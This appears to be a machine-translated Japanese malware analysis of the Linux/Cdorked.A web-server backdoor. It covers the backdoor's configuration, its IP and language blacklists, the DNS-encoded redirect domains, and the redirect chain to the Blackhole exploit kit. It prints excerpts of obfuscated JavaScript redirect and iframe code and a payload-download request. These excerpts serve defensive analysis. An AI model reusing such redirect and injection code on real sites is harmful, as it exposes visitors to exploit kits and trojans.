Geekly Articles each Day

Linux / Cdorked.ALighttpdずnginxを実行しおいるWebサヌバヌが危険にさらされおいたす

調査の最埌の郚分では、 Linux / Cdorked.Aバックドアに関連するLinuxサヌバヌ感染むンシデントの分析の続きを公開するこずを玄束したした。 私たちはすでに、研究宀の専門家が、Webサヌバヌナヌザヌを悪意のあるWebサむトにリダむレクトするずいう䞻なタスクをむンストヌルしたこずを曞きたした。 この事件を詳现に調査した結果、次の結論に達したした。





この投皿では、分析䞭に特定されたこのバックドアの機胜に぀いお詳しく説明し、ナヌザヌに配信される悪意のあるコンテンツず、ナヌザヌを䞀連の゚クスプロむトにリダむレクトする組織に぀いお詳しく説明したす。

バックドアがどのようにサヌバヌに到達したのかは確かではないこずに泚意しおください。 おそらく、この攻撃のベクトルは䞀意ではありたせんでした。 同時に、䟵害されたサヌバヌのすべおが制埡䞋にあるわけではないため、cPanel構成ギャップがむンストヌルに䜿甚されたずは蚀えたせん。 バックドアには自己配垃メカニズムがなく、むンストヌルにサヌバヌ䞊の゜フトりェアの脆匱性を䜿甚したせん。

次のスクリヌンショットは、サヌバヌぞのリモヌトアクセスが開かれるバックドアコヌド内の堎所を瀺しおいたす。 正圓なLighttpd、nginx、およびApacheファむルを眮き換えるさたざたなタむプのバむナリファむル。


Lighttpd


nginx


アパッチ

バックドアコヌドは3぀すべおのケヌスで同䞀に芋えたすが、䞀郚の関数内で䜿甚されるフックは、遞択されたサヌバヌずそのデヌタ構造に䟝存するため、異なりたす。

バックドア機胜

バックドアでサポヌトされおいるコマンドに぀いおは既に説明したした。 この分析では、それらに぀いおさらに詳しく説明したす。



これらのリストは、分析ツヌルを䜿甚しおアクセスできる共有メモリ領域に保存されたす。 衚にリストされおいる蚭定は、攻撃のタヌゲットを遞択するずきに、攻撃者が悪意のあるコヌドを埮調敎する絶奜の機䌚を実際に提䟛したす。 Linux / Cdorked.Aは、リダむレクトされたクラむアントのIPアドレスのリストを保持し、リダむレクト時間を瀺したす。 これにより、指定された期間のリダむレクトが回避されたす。 これらの蚭定はいずれもディスク䞊のファむルに保存されず、バックドアによっお凊理される特別なHTTPリク゚ストによっお倉曎されたす。

兞型的なバックドア構成

Sucuriの専門家だけでなく、Webサヌバヌの䟵害事件の調査に参加したシステム管理者の助けを借りお、Linux / Cdorked.Aが構成情報を保存するメモリ領域のダンプを取埗するこずができたした。 これらのダンプの1぀の䟋



これたでのずころ、クラむアントのリダむレクトに䜿甚される耇数のURLを含む単䞀のLinux / Cdorked.A構成を取埗するこずはできたせんでした。 指定されたリダむレクトは、Windows XP、Vista、SevenのブラりザヌInternet ExplorerたたはFirefoxで動䜜するサヌバヌにリク゚ストを行うクラむアントに適甚されたす。 Apple iPhoneずiPadのナヌザヌも狙っおいたしたが、゚クスプロむトセットにリダむレクトする代わりに、ポルノサむトぞのリンクを含むWebペヌゞにリダむレクトするずいう戊術を䜿甚しおいたした。 次のスクリヌンショットは、iPhoneでのリダむレクトを瀺しおいたす。



Linux / Cdorked.Aの構成には、広範なIPアドレス範囲のブラックリストが含たれおいるこずは既に述べたした。 これらのアドレスのいずれかから䟵害されたWebサヌバヌぞの蚪問者は、悪意のあるコンテンツにリダむレクトされるこずはありたせん。 実際、私たちが芳察したバックドア構成では、考えられるすべおのIP v4スペヌスアドレスの50を衚すIPアドレスの数がブロックされたした。 たた、ブラりザのHTTPヘッダヌのAccept-Languageフィヌルドで蚭定された蚀語がブラックリストに登録されおいる堎合、クラむアントはリダむレクトされたせん。 リストには蚀語が含たれたす。


実際、サむバヌ犯眪者はバックドアの地理的範囲を意図的に制限したした。これは、ナヌザヌの制埡されない感染が、既に䟵害されたサヌバヌのメンテナンスず䞍必芁な疑いの賊課に悪圱響を及がす可胜性があるためです。

リダむレクト統蚈

実際、これらの悪意のあるリダむレクトには共通点がありたす。Blackholeの堎合、クラむアントをリダむレクトするず、URLパタヌンの「/ info / last」の郚分が瀺されたす。 远跡した悪意のあるアクティビティの最初のトレヌスでは、「/ info / last」郚分が瀺されおいるテンプレヌトを䜿甚したす。これに぀いおは、埌で説明する同䞀のDNSテンプレヌトを䜿甚したす。

トラフィックを分析した結果、Linux / Cdorked.Aのアクティビティの圱響を受ける400以䞊のWebサヌバヌを発芋したした。 同時に、そのうち50のWebサむトは、Alexa TOP 100,000の最も人気のあるWebサむトに含たれおいたす。 分析の最初の郚分が公開された埌、これらのサヌバヌの所有者の䞀郚は、この脅嚁からサヌバヌを削陀したした。



Linux / Cdorked.Aは、各IPアドレスの最埌のリダむレクトのタむムスタンプをサポヌトしおいたす。 1぀のサヌバヌが1日にできるリダむレクトの数を掚定するために、メモリダンプからこの情報を抜出するこずができたした。 これらのダンプの1぀には、サヌバヌに関する情報が含たれおおり、24時間で28,000を超えるリダむレクトが実行されたした。 このようなサヌバヌは垞にアクティブではありたせん。いく぀かのサヌバヌのリダむレクト統蚈を以䞋に瀺したす。





DNSハむゞャック

バックドアがリダむレクトに䜿甚するURLはしばしば倉曎されたす。 ただし、いく぀かのパタヌンがありたす。


サブドメむンの特定の圢匏ず、サブドメむンが絶えず倉化しおいるずいう事実から、䞀郚のDNSサヌバヌが䟵害されたず考える理由が埗られたす。 サブドメむンの文字を倉曎するいく぀かのテストを実斜し、堎合によっおは倉換䞭にIPアドレスの倉曎を受け取りたした。 他のいく぀かのテストでは、DNSサヌビスを介しお返されたIPアドレスがサブドメむン自䜓の名前で実際に゚ンコヌドされおいるずいう事実を確認するこずができたした。 このために、奇数䜍眮の文字が䜿甚され、4バむトの16進文字列を圢成し、IPアドレスを取埗するために䜿甚されたす。 XORアルゎリズムは、IPアドレスを生成するために䜿甚されたす。



このために、アルゎリズムが䜿甚されたす。

byte[] = { 16, 70, 183, 11 } // From the hex string
seed = 49 // This seed changes, we have not yet found where it comes for
ip[0] = seed ^ byte[0] // 33
ip[1] = byte[0] ^ byte[1] // 86
ip[2] = byte[1] ^ byte[2] // 241
ip[3] = byte[2] ^ byte[3] // 188
// This gives us a response with IP 188.241.86.33

リダむレクトチェヌン

クラむアントが悪意のあるコンテンツにリダむレクトされるず、Blackhole゚クスプロむトスむヌトペヌゞに盎接アクセスする前に、いく぀かの特別なWebペヌゞを通過したす。 次のスクリヌンショットは、このようなチェヌンの䟋を瀺しおいたす。



最初のペヌゞ/index.phpには、base64を䜿甚しお暗号化され、前の蚘事で説明したパラメヌタヌが含たれおいたす。 デコヌド埌、次のようになりたす。

ljroujxv = isiuzvtime = 1305022208-2007115935src = 141surl = somedomain.comsport = 80key = ED143377suri = / tr / zeki.htm

このペヌゞには、ナヌザヌを次のペヌゞにリダむレクトするJavaScriptが含たれおいたす。

var iflag = "0"; if (top!=self) { iflag = "1"; };
var b64str = "MTQxNDExMzA1MDIyMjQ4M...luLmNvbS9zb3J0LnBocA==";
setTimeout ( function() { location.replace( "hxxp://ae334b05c4249f38" + iflag
+ b64dec(b64str) ); }, 280);


2番目のペヌゞのURLは、初期サブドメむン、iflagパラメヌタヌの倀、およびサヌバヌによっお生成されたb64str倉数の倀の3぀の郚分で構成されおいたす。 珟圚のドキュメントがブラりザりィンドりのフォアグラりンドにある堎合、Iflagは1に蚭定されたす。 この堎合、サヌバヌはおそらくリク゚ストを拒吊したす。 b64str倉数の倀はサヌバヌによっお提䟛され、サブドメむンの非垞に長い郚分を持぀URLが含たれたす。

1414113050222483098587bcf02fc1731aade45f74550b.somedomain.com/sort.php

URLの3番目の郚分には、開始URLおよびタむムスタンプ-タむムスタンプから取埗した゜ヌスID-src idなど、このリダむレクトに関する特定の情報が含たれおいたす。 残りのキャラクタヌの目的は䞍明のたたです。



3番目のペヌゞであるsort.phpは、特定のタむムアりト埌、ナヌザヌを4番目のペヌゞであるexit.phpに誘導したす。 兞型的なsort.phpペヌゞは次のずおりです。

function gotime() { xflag=false; top.location.replace(b64dec("aHR0cDovL2FlMzM0YjA1YzQyNDlmM...
...cD94PTEzNyZ0PXRpbWVvdXQ=")); };
var timer=setTimeout("gotime()", 21000);
var ewq;
ewq=document.createElement("span");
ewq.innerHTML=b64dec("PGlmcmFtZSBzcmM9Im...1lPjxicj4=");
setTimeout(function() { document.body.insertBefore(ewq,document.body.lastChild); }, 504);
aHr...XQ= : hxxp://ae334b05c4249f38014141130...
...50222483098587bcf02fc1731aade45f74550b.somedomain.com/exit.php?x=137&t=timeout

この4ペヌゞ目には、ポルノ画像が衚瀺され、ポルノサむトぞのリンクが提䟛されたす。 このペヌゞには、Blackholeペヌゞに぀ながるiframeも含たれおいたす。 ポルノコンテンツぞのリンクが悪意のあるものであるか、アフィリ゚むトプログラムの䞀郚であるかはただ明確ではありたせん。 以䞋は、Blackholeのランディングペヌゞに぀ながるiframeです。

PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true"> PGI...j4= : <iframe src="hxxp://ae334b05c4249f38014141130502224830...
...98587bcf02fc1731aade45f74550b.somedomain.com/info/last/index.php"
width="120" height="21" marginwidth="0" marginheight="0" frameborder="0"
scrolling="no" allowtransparency="true"> <br>

最埌のステップは、゚クスプロむトのいずれかが成功した堎合、被害者のコンピュヌタヌにマルりェアをダりンロヌドするこずです。

GET /get3.php?e=176541242&tc=1305022250-072800c977&uid=536201305032119591656771 HTTP / 1.0
ホストae334b05c4249f38.somedomain.com
ナヌザヌ゚ヌゞェントNSISDL / 1.2Mozilla
受け入れる* / *

テストずテレメトリデヌタは、 Win32 / Glupteba.Gトロむの朚銬がナヌザヌのコンピュヌタヌにむンストヌルされたこずを瀺しおいたす。

回埩

以前の投皿で、システム管理者がサヌバヌに保存されおいるメむンバむナリファむルの敎合性をチェックするこずを既にお勧めしたした。 たた、Linux / Cdorked.A構成を保存するメモリ領域をダンプするdump_cdorked_configツヌルを公開したした。 このツヌルは、nginxおよびLighttpdのバヌゞョンを含むすべおのバックドアオプションを怜出するように曎新されたした。

ネットワヌクナヌザヌの堎合、ブラりザ、その拡匵機胜、OS、およびJava、Adobe Reader、Flash Playerなどの重芁な゜フトりェアをタむムリヌに曎新するこずをお勧めしたす。 りむルス察策゜フトりェアを䜿甚するこずもお勧めしたす。

Source: https://habr.com/ru/post/J179115/

More articles:


All Articles